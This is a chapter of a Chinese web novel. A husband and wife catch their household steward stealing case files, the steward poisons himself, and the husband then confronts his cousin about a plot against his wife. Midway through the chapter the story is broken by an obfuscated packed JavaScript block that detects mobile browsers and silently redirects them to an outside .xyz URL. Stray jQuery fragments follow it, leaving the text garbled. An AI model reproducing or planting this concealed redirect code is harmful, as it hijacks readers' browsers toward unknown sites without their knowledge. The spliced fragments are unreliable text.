15. 记恨

作品:《前夫把自己卷进火葬场

    翌日,钟琦央和谢清珩一大早就跑去书房,装模作样在里面找了许久,终于在太阳落山之前找出贼人想偷地卷宗。


    谢清珩打算连夜把卷宗送去京兆府,被钟琦央以京兆尹下值为由劝阻下来。


    谢清珩拗不过钟琦央,只好把卷宗放到书房隐秘处,明天再送。


    晚上,两人蹲守在书房外的草丛中,密切关注书房的动静。


    钟琦央觉得眼皮仿佛千斤重,不自觉慢慢合上,脑袋靠在谢清珩肩上。


    谢清珩调整钟琦央的姿势,努力让她更加舒服,眼睛则一动不动盯着书房门口。


    月亮高悬半空,就在谢清珩觉得计划失败,快要回去时,一个鬼鬼祟祟的黑影快速靠近书房。


    谢清珩顿时清醒,轻轻拍了拍钟琦央脸颊,把钟琦央叫醒。


    钟琦央揉了揉眼睛:“人来了吗?”


    谢清珩捂住钟琦央嘴巴,眼睛盯着那道黑影。


    钟琦央顺着谢清珩视线看去,只见一个黑影鬼鬼祟祟徘徊在书房门口,似乎在撬锁?


    钟琦央用眼神询问:“还不叫人?”


    谢清珩握住钟琦央的手,示意她耐心等待。


    黑影一个闪身进入书房,约莫半刻钟,黑影拿着东西出来。


    谢清珩走出草丛拍拍手,一个个举着火把的护卫闻声赶到。


    火光驱散黑暗,那道黑影的面孔逐渐清晰,走近一瞧,赫然是管家。


    此时管家一手掩着脸,另一只手抱着卷宗,一动不动缩在门口,不知在想什么。


    钟琦央看着管家,脸上写满不可思议:“怎么会是管家?”


    她们刚回京时,管家就跟着她们,这些年来一直忠心耿耿,帮助她们良多,可现在……


    对比起来,谢清珩倒是不怎么惊讶,扫了眼管家手中的卷宗,眼神中划过一丝了然:“你背后的主子是永定侯吧。”


    管家是祖母身边的老人,当初他刚回京城,祖母心疼他忙碌,派了管家来帮他分担,时间久了,他都快忘记,管家本是永定侯府的人,管家的亲眷还在永定侯府做工。


    管家放下遮挡的脸,双膝弯曲朝谢清珩跪下,低着头不发一言。


    谢清珩把卷宗拿过来,挥手让护卫将管家压下去严加看守。


    “你打算怎么处置管家?”


    回到房间,钟琦央忍不住开口询问。


    “自然是秉公处理,明天我会让人把管家送去京兆府。”


    谢清珩点燃书桌烛火,开始翻看起卷宗。


    钟琦央知道谢清珩不解决心头困惑,是不会安心入睡,拿起架上的外袍披在谢清珩身上,自己在旁边为他研墨。


    “这就是桩简单的贪污案,跟永定侯没有关系。”


    钟琦央跟着谢清珩一起,看完整个卷宗,发出疑惑。


    “不对,肯定有某种联系,只是我们还没发现。”


    谢清珩不死心,反反复复翻看卷宗,纸张都有褶皱。


    “要不我们去审问管家?”


    “他只是一个小喽啰,不一定知道内情。”


    “那也说不准,我去审审看。”


    谢清珩见钟琦央兴致勃勃,也没有阻拦,嘱咐道:“注意安全。”


    夜色逐渐褪去,天空慢慢吐白,窗边的烛火变得黯淡,随着一阵风刮过,彻底熄灭。


    谢清珩放下卷宗,起身走到窗边,看着院中翠绿的新竹,吐出一股浊气,顿时感觉身心舒畅。


    简单洗漱后,出门打算去看钟琦央那边的进展,迎面撞上匆匆赶来的小厮。


    “出什么事了?”


    小厮额头带着汗珠,来不及喘息赶忙道:“管家他自尽了,夫人让我来通知大人。”


    谢清珩听后,朝着关押管家的房间跑去。


    管家仰躺在地上,嘴边残留丝丝血迹,指甲泛着青黑。


    钟琦央面色惨白地站在一旁,身体微颤。


    谢清珩抱住钟琦央,轻声安抚,询问到底发生了什么。


    钟琦央平复好情绪,把经过娓娓道来:“管家昨天一直没有开口,到了半夜突然说要喝水,我没多想就让人拿水过来,一转身的功夫,管家从袖口拿出一个纸包倒入口中,然后一把夺过丫鬟手中的茶壶,再然后……”


    谢清珩拍了拍钟琦央脊背:“不怪你,他身上□□说明早有预谋,剩下的就交给京兆尹来处理。”


    管家的尸身很快被京兆尹的衙役带走,谢清珩把卷宗交给京兆尹后,带着钟琦央来到管家房间。


    管家的房间布局简洁,仅陈设着一张床、一个柜子,以及几张桌椅板凳。


    打开柜子,里面只有几件衣服,谢清珩仔细翻找,从柜中的夹层翻到一张信,里面写着指使管家偷盗卷宗。


    谢清珩又仔细查看一番,确认没有其他东西后,无奈道:“看来其他东西都被管家处理掉了,没有证据证明是永定侯指使。”


    “你昨晚看卷宗有什么发现?”


    谢清珩点头又摇头:“犯案的官员名叫田文俊,他是接替永定侯官职的人,但我想不通田文俊贪污跟永定侯有什么关系?”


    永定侯曾担任户部郎中,后来因涉嫌卖官鬻爵被罢黜,赋闲在家,接替他的官员就叫田文俊。


    “我记得田文俊好像是被判流放,不如派人去流放地审问。”


    “田文俊失踪了。”


    “失踪?”


    “嗯,今早我跟京兆尹提了一嘴,京兆尹对这个人印象深刻,因为在流放前夕,田文俊在狱中消失。”


    “消失?”


    听到这,钟琦央莫名想起钟敏福:“你上次派去找钟敏福的人,有消息传来吗?”


    “没有,到处都找不到他的踪迹,就跟……”


    说到一半,谢清珩也意识到了,跟钟琦央对视一眼,马上派人去调查,顺便把曾经交给管家调查的事,重新翻出来调查一遍。


    短短几天,谢清珩发现管家背着他帮永定侯府做了不少事,甚至……


    沐灵蕊听到谢清珩在大门等候,让人把表哥请进府,赶紧梳妆打扮一番,兴高采烈去会客厅。


    在看到谢清珩的脸色时,不自觉慢慢放缓脚步。


    “表哥,你这是怎么了?”沐灵蕊战战兢兢问道。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618943|171645||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “你什么时候跟永定侯府勾结在一起的?”


    谢清珩眼睛直勾勾地看着沐灵蕊,经过这几天的调查,他现在看沐灵蕊只觉得陌生。


    沐灵蕊下意识后退一步,听到谢清珩的话,脸上的笑容一僵,下意识张嘴辩解,却直接被谢清珩打断。


    “我知道普陀寺的事是你一手策划的。”


    谢清珩想到调查结果,深呼吸一口,努力保持平静,面无表情陈述经过:“你和永定侯府勾结,本想推央央落水,害死央央,没想到中途出现差错,可即使计划失败,你们还是不死心,依旧决定把污水泼到央央身上……”


    管家听命于永定侯,当初他让管家调查普陀寺,管家配合永定侯销毁罪证,转头跟他说查无所获。


    说到这里,谢清珩双手紧握成拳,愤怒地瞪着沐灵蕊:“央央到底跟你们到底有什么仇什么怨?”


    当然是她占了不属于她的位置,沐灵蕊下意识想回应,但很快反应过来,把话咽下,要是真说了就等于彻底跟表哥翻脸,表哥以后再也不会管她。


    沐灵蕊贝齿轻咬嘴唇,双手掩面,不住地抽噎:“我也不想这样,我也是被逼无奈,都是永定侯府……”


    谢清珩没有说话,只是坐在椅子上,默默地看着沐灵蕊哭泣。


    等沐灵蕊哭声渐消,谢清珩才开口:“你想让我原谅你吗?”


    沐灵蕊把手放下,泪眼汪汪地看着谢清珩:“表哥想让我做什么?”


    “把你们怎么勾结,以及谋划的事一五一十说出来。”


    在沐灵蕊抽抽噎噎的叙述中,谢清珩了解事情经过。


    原来沐灵蕊被逼搬出侯府后,她们并没有断了联系,恰恰相反,沐灵蕊跟侯府众人来往密切。


    这些年,永定侯长子科举没有高中,三舅舅在外闯祸大大小小的事,找谢清珩帮忙,却屡次被拒,因此永定侯府众人记恨上谢清珩。


    “是我拒绝的他们,跟央央有什么关系?”谢清珩不解。


    “你现在是朝廷重臣,他们不敢明目张胆得罪你,只好把气撒在表嫂身上,要是能借机拉你下水,那就更好了。”


    沐灵蕊把所有过错推到永定侯府上,称自己所为都是被逼迫:“其实那日在普陀寺,永定侯府除了想害死表嫂,还想把弑妻的罪名扣在表哥头上,我不敢忤逆他们,也不想害了表哥,所以……”


    谢清珩冷笑:“所以选择牺牲央央,那你为什么不直接告诉我?”


    沐灵蕊哭诉道:“你以为我不想吗?我有自己的苦衷。”


    “苦衷?你每次都是这么说,让我怎么相信你,我问你,你知不知道管家是永定侯的人?”


    沐灵蕊脸上划过一丝心虚,知道管家暴露了,但不知道管家说了多少实情,含糊其辞:“我也只是猜测,外祖母逝世后,我去整理她的遗物,在里面发现了管家和他家人的卖身契,后来卖身契不见,我以为是表哥拿走了,就没有多想。”


    “表哥我知道错了,你原谅我好不好?你要我干什么都可以。”


    谢清珩冷冷看着沐灵蕊:“我要你帮我演一出戏。”